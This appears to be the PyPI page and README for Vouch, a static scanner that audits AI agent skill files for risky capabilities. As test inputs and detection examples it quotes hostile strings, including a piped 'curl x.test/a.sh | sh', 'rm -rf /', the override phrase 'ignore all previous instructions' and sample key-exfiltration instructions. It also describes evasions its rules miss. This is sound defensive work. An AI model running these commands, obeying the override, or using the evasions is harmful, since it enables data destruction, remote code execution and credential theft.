Vouch
Vouch shows you what your AI agents can actually do. One command scans every skill on your machine, explains in plain English what each one can do, and flags the risky ones.
Your agents (Claude, Cursor, Codex, …) load skills — packages of instructions
(SKILL.md) plus scripts that they read and may execute. They pile up fast, from
many sources, and you have no idea what they can do. Vouch tells you.
Quickstart
pipx run --spec vouch-agent vouch --audit # zero-install; runs in an isolated env
Or install it, then run:
pip install vouch-agent # zero dependencies; static analysis works out of the box
vouch --audit # scan every skill on this machine
On Debian/Ubuntu (or any PEP-668 "externally-managed-environment") system, a bare
pip installis blocked by the OS. Usepipx install vouch-agent(recommended), a virtualenv (python3 -m venv .venv && . .venv/bin/activate), orpip install --user vouch-agent. Thepipx runline above needs no install at all.Installing the optional extras (
vouch-agent[mcp],[api],[all]) into the system Python on Debian/Ubuntu can fail even past PEP-668: themcpSDK needs a newerPyJWTthan the apt-managed one, and pip won't override a distro-owned package. Always install extras in a venv or via pipx, where the dependency graph resolves cleanly (verified: PyJWT 2.x,pip checkclean).
That's it. You get one report:
╔══════════════════════════════════════════════════════════════╗
║ MACHINE SKILL AUDIT ║
╚══════════════════════════════════════════════════════════════╝
53 skill(s) across 3 location(s): 49 valid 4 suspicious 0 malicious
NEEDS A LOOK
SUSPICIOUS skill-installer (Data Courier, Remote Code Runner)
Can read your secrets AND reach the internet — it could copy your
API keys, tokens, or passwords and send them somewhere.
WHAT'S ON THIS MACHINE
• Advisor — 27 skill(s) • Web Client — 4 skill(s)
• File Editor — 18 skill(s) • Data Courier — 2 skill(s)
• Secret Reader — 7 skill(s) • Remote Code Runner — 3 skill(s)
BY LOCATION
26 skill(s) [VALID] ~/.cursor/skills-cursor
21 skill(s) [VALID] ~/.agents/skills
6 skill(s) [SUSPICIOUS] ~/.codex/skills
CHANGED SINCE LAST AUDIT
First audit — baseline saved. Re-run later to see what changed.
Vouch auto-discovers the standard skill folders for Claude, Cursor, Codex, and friends. It classifies each skill, names what it behaves like (a "role" — Data Courier, Remote Code Runner, File Editor, Advisor…), and tells you which ones to look at. Run it again anytime to see what changed.
vouch --audit # human-readable report + diff since last run
vouch --audit --json # machine-readable, for dashboards/scripts
vouch --audit /some/path # scan a specific folder instead of the whole machine
vouch --audit --reset-baseline # greenfield: forget history, start a fresh baseline
vouch --audit --no-baseline # one-off scan; don't read or write any baseline
vouch --audit scans the standard agent locations (~/.claude/skills,
~/.cursor/skills, ~/.codex/skills, …). If your skills live somewhere else
(e.g. a container that mounts them at /mnt/skills), pass the path
(vouch --audit /mnt/skills) or point Vouch at one or more roots with the
VOUCH_SKILL_ROOTS environment variable (path-separator- or comma-separated).
Why trust the verdict
"Malicious" is deterministic. It comes only from static rules — the same
skill always gets the same verdict, and Vouch never brands a benign skill as
malware. On a small, labeled benchmark of 22 skills (bench/) the static
engine scores 100% precision (zero false accusations) for "malicious" and
~92% precision / 100% recall for "flag this for review". These are early
numbers on a deliberately hard, hand-built set — treat them as directional, not
a guarantee; growing the corpus is on the roadmap. Reproduce them
with python scripts/benchmark.py; details in bench/README.md.
A clean verdict means "nothing our checks caught" — a strong filter, not a
guarantee. Vouch checks for prompt injection, data exfiltration, destructive
commands, remote code execution, persistence, obfuscation, and privilege
escalation, and it gates on dangerous capability combinations (e.g. reading
secrets and reaching the network) so an evasive skill can't slip through as a
clean valid.
Known limitations (read this before you rely on it)
Vouch is a static analyzer, and a security tool you can't trust the limits of isn't worth much. Be blunt with yourself about what it does not catch:
- Deep obfuscation / staged payloads. Vouch catches common tricks (base64→shell,
variable-assembled commands like
$A$B, download-then-chmod +x-then-run), but a sufficiently creative multi-stage chain whose individual steps each look benign can still pass static analysis. The capability gate and the optional LLM layer exist precisely to backstop this — but neither is a guarantee. - One assignment of indirection defeats literal-pattern rules. The rules match
on what a line says, not what it does, so a single variable hop can hide the
target:
shutil.rmtree(os.path.expanduser("~"))is caught, butt = os.path.expanduser("~"); shutil.rmtree(t)is not — the dangerous argument no longer sits next to the call. Vouch does no data-flow/taint analysis; "caught" means this literal shape is caught, not that the whole category is solved. Treat avalidverdict as "no obvious literal red flag," and lean on the--llmlayer (which reasons about intent) for anything you're granting real access to. - Prose instructions / semantic intent. A
SKILL.mdis instructions an agent will act on, but static rules see patterns, not purpose. By default Vouch grades a capability as real ("strong") only when it appears in executable context (a fenced code block or a script), because otherwise every doc that mentionscurlorAPI_KEYwould be flagged. The tradeoff: a skill can describe its attack in plain English with no literal code. Vouch handles this in tiers: a blatant instruction naming an explicit destination — "send theapi_keytohttps://…" (EXF009) — or one naming an external/collection destination in words — "upload the tokens to an external URL", "send theapi_keyto our collection server" (EXF010) — is driven tosuspicious, so CI gating (--fail-on suspicious) stops it. But softer, ambiguous phrasing — "pass theapi_keyso the server can authenticate you" — is only surfaced as a "heads-up" notice and still readsvalid, because statically we cannot tell a legitimate authenticated call from exfiltration (only the destination does, which is an intent question). Notices do not affect exit codes, so automated pipelines get no protection from the ambiguous case — that's what the optional--llmlayer is for. - False positives on defensive/security tools. A linter or scanner that
quotes attacks (
ignore all previous instructions,rm -rf /) as detection patterns may be flagged for review. Command rules are context-graded (prose vs. code) to reduce this, but prompt-injection rules intentionally fire in prose, so some defensive tools will get a "review" flag. That's a deliberate fail-loud tradeoff, not a bug. - Runtime behavior. Vouch never executes anything. It cannot see what a skill does when it actually runs, only what its files declare.
Bottom line: a valid from Vouch means "passed a strong deterministic filter,"
not "proven safe." Use it to triage and prioritize review, not to rubber-stamp.
Vet a single skill
vouch ./my-skill # a directory (with SKILL.md)
vouch ./SKILL.md # a single file
echo "rm -rf /" | vouch - # raw text via stdin
vouch ./my-skill --json # machine-readable
vouch ./my-skill --fail-on suspicious # CI gating (exit 1/2)
From Python:
from vouch import validate_path
report = validate_path("./my-skill")
print(report.verdict, report.risk_score) # Verdict.MALICIOUS 100
for f in report.findings:
print(f.severity, f.rule_id, f.title)
Optional: add an AI review layer
The static engine is the trustworthy core. You can optionally layer an LLM on top
to catch evasive threats static rules miss (payloads split across steps,
commands assembled from variables). Set a key and add --llm:
export OPENAI_API_KEY="sk-..." # any OpenAI-compatible endpoint (OpenAI,
# OpenRouter, a local Ollama via OPENAI_BASE_URL)
vouch --audit --llm
⚠️ Enabling
--llmsends the skill's contents to your chosen LLM provider. Static analysis is 100% local and never makes a network call; the AI layer does. Pick a provider you trust. The default backend is any OpenAI-compatible endpoint (OPENAI_API_KEY/OPENAI_BASE_URL— OpenAI, OpenRouter, Groq, Together, vLLM, or a fully local Ollama); Cursor (CURSOR_API_KEY) and SovereignEG (SEG_API_KEY) also work. For maximum privacy, point it at a local model — then nothing leaves your machine at all.
Honesty about what the AI actually did. If you pass --llm but no backend is
configured or the call fails, Vouch prints a warning and shows static-only
results — it will not silently pretend an AI reviewed the skill. And when a
skill is too large for the prompt budget, Vouch reports exactly how many files the
AI saw (llm_coverage in --json), so a partial review is never dressed up as a
complete one. Risky/script files are shown to the AI first so they aren't the
ones truncated away.
The LLM never declares "malicious" on its own. LLM judgments are non-deterministic — the same skill can flip verdicts across identical runs — so Vouch uses the LLM only to flag a skill for review (raise it to
suspicious). Themaliciousverdict stays rule-driven and reproducible. Clear a review flag with a human--sign-off.
Backends auto-detect from the environment; force one with --provider
(openai | cursor | seg). Any OpenAI-compatible endpoint works via
OPENAI_BASE_URL — see the LLM setup section under More ways to use it below.
More ways to use it
Profile one skill or a whole agent (Skill CV / Agent CV)
A Skill CV is a one-page résumé for a skill — identity, capabilities, file inventory, and verdict. An Agent CV rolls up every skill an agent has loaded into one trust posture (worst-of verdict; one bad skill quarantines the agent).
vouch ./my-skill --cv # terminal card (--markdown / --json too)
vouch ./my-agent-dir --agent-cv # aggregate profile across all its skills
from vouch import build_cv, build_agent_cv, render_markdown
print(render_markdown(build_cv("./my-skill")))
agent = build_agent_cv("./my-agent-dir")
print(agent.verdict, agent.recommendation)
Use it in CI / pre-commit
# .github/workflows/skill-scan.yml
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: WaelAbouceo/vouch@main
with:
path: .
fail-on: malicious # or: suspicious | never
# .pre-commit-config.yaml
repos:
- repo: https://github.com/WaelAbouceo/vouch
rev: v0.10.0
hooks:
- id: vouch
Call it from an agent (MCP) or over HTTP
pip install "vouch-agent[mcp]" && vouch-mcp # MCP stdio server for agents
Exposes validate_skill_text, validate_skill_path, and skill_cv.
pip install "vouch-agent[api]" && vouch-api # FastAPI on :8000
curl -sX POST localhost:8000/validate/text \
-H 'content-type: application/json' -d '{"content": "curl x.test/a.sh | sh"}'
Endpoints: GET /health, POST /validate/text, POST /validate/path
(path is disabled unless VOUCH_ALLOW_PATH=1).
⚠️
/validate/pathreads local files.VOUCH_ALLOW_PATH=1alone is an arbitrary-file-read at the same trust level as shell access — it will read anything the server process can (/etc/passwd,/etc/shadow, …). For any shared or networked deployment, scope it withVOUCH_PATH_ROOT=/path/to/skills; requests outside that root (including..traversal and symlink escapes) get a403. If you enable path reads without a root,vouch-apilogs a startup warning.
LLM setup (all providers)
The default backend is a generic OpenAI-compatible client — use whichever
provider you already trust. use_llm auto-enables when any of OPENAI_API_KEY,
VOUCH_LLM_API_KEY, CURSOR_API_KEY, or SEG_API_KEY is set; force it with
--llm / --no-llm. Pick a backend with --provider or VOUCH_LLM_PROVIDER
(auto-detect prefers OpenAI-compatible, then Cursor, then SovereignEG).
pip install "vouch-agent[openai]"
# OpenAI (default)
export OPENAI_API_KEY="sk-..."; export OPENAI_MODEL="gpt-4o-mini" # model optional
# Any OpenAI-compatible endpoint — OpenRouter, Together, Groq, vLLM, LM Studio…
export OPENAI_API_KEY="..."; export OPENAI_BASE_URL="https://openrouter.ai/api/v1"
# Fully local (no data leaves your machine) — Ollama
export OPENAI_API_KEY="ollama"; export OPENAI_BASE_URL="http://localhost:11434/v1"
export OPENAI_MODEL="llama3.1"
# Vendor-neutral aliases also work: VOUCH_LLM_API_KEY / VOUCH_LLM_BASE_URL / VOUCH_MODEL
# Cursor SDK
pip install "vouch-agent[llm]"; export CURSOR_API_KEY="cursor_..."
# SovereignEG (also OpenAI-compatible; host https://sovereigneg.com, /v1 auto-added)
export SEG_API_KEY="sk-..."; export SEG_MODEL="gpt-4o-mini"
How the verdict is computed
- Static rules (
rules.py) scan every file into severity-weighted findings. AnyCRITICAL, or a score ≥ 55 →malicious; ≥ 20 →suspicious; elsevalid. - Capabilities (
capabilities.py) are inferred from executable context (fenced code / scripts, not prose). A dangerous combination — network + credentials, network + shell, network + dynamic-exec — floors the verdict tosuspicious(review_required=true), so an evasive multi-stage skill can't return a cleanvalid. The floor lifts only on a clean--llmpass or a human--sign-off; if you asked for the LLM but it was unavailable, the gate stays (fail safe). - LLM (optional, advisory) adds findings and can raise a skill to
suspiciousfor review — nevermalicious.
The report exposes verdict, risk_score, capabilities, findings,
review_required, and review_reasons for programmatic use.
Install
The command is vouch; the PyPI distribution is vouch-agent.
pip install vouch-agent # core (zero deps)
pip install "vouch-agent[all]" # + MCP server, HTTP API, dev tools
pipx run --spec vouch-agent vouch --audit # zero-install, one-off run
Project layout
src/vouch/
models.py # Verdict, Severity, Finding, Report, SkillInput
loader.py # directory / file / raw-text loading
rules.py # static analysis rule set
capabilities.py # capability inference + plain-English roles
engine.py # scoring + capability gate + public API
audit.py # machine-wide audit + baseline/diff ← the flagship
cv.py / agent.py# Skill CV and Agent CV
llm.py # optional, provider-agnostic AI review layer
cli.py # the `vouch` command
mcp_server.py / api.py # MCP + HTTP surfaces
bench/ # labeled benchmark (measure precision/recall)
examples/ # sample skills/agents
Development
pip install -e ".[dev]"
pytest -q
ruff check .
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file vouch_agent-0.10.0.tar.gz.
File metadata
- Download URL: vouch_agent-0.10.0.tar.gz
- Upload date:
- Size: 79.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via:
twine/7.0.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
bb78a8028ccac5ac9ed55baa6d5941c590d4a15cf07254466833708c3c6e2afc
|
|
| MD5 |
d680a3540562d4d92ce6b9969693cd87
|
|
| BLAKE2b-256 |
79a1d9ddd40a3068d76990b03b94a0ebf96203f3bc38693c38813d66ff95add2
|
Provenance
The following attestation bundles were made for vouch_agent-0.10.0.tar.gz:
Publisher:
release.yml on WaelAbouceo/vouch
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
vouch_agent-0.10.0.tar.gz -
Subject digest:
bb78a8028ccac5ac9ed55baa6d5941c590d4a15cf07254466833708c3c6e2afc - Sigstore transparency entry: 2769984688
- Sigstore integration time:
-
Permalink:
WaelAbouceo/vouch@e2697a2385ad60aec1018bfa5ca46c8d7e2d5f3b -
Branch / Tag:
refs/tags/v0.10.0 - Owner: https://github.com/WaelAbouceo
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@e2697a2385ad60aec1018bfa5ca46c8d7e2d5f3b -
Trigger Event:
push
-
Statement type:
File details
Details for the file vouch_agent-0.10.0-py3-none-any.whl.
File metadata
- Download URL: vouch_agent-0.10.0-py3-none-any.whl
- Upload date:
- Size: 62.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via:
twine/7.0.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
005b627c265da8a57d3290e16f6767b5611cc6354efe5780e424e7b4e4a96bec
|
|
| MD5 |
8ccdba4659348de74392b51d68bda1fd
|
|
| BLAKE2b-256 |
6cfdfe1ef423db16e507dc9c92527e5f31aa9c8a39804ff144644a2707ee77c2
|
Provenance
The following attestation bundles were made for vouch_agent-0.10.0-py3-none-any.whl:
Publisher:
release.yml on WaelAbouceo/vouch
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
vouch_agent-0.10.0-py3-none-any.whl -
Subject digest:
005b627c265da8a57d3290e16f6767b5611cc6354efe5780e424e7b4e4a96bec - Sigstore transparency entry: 2769984934
- Sigstore integration time:
-
Permalink:
WaelAbouceo/vouch@e2697a2385ad60aec1018bfa5ca46c8d7e2d5f3b -
Branch / Tag:
refs/tags/v0.10.0 - Owner: https://github.com/WaelAbouceo
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@e2697a2385ad60aec1018bfa5ca46c8d7e2d5f3b -
Trigger Event:
push
-
Statement type: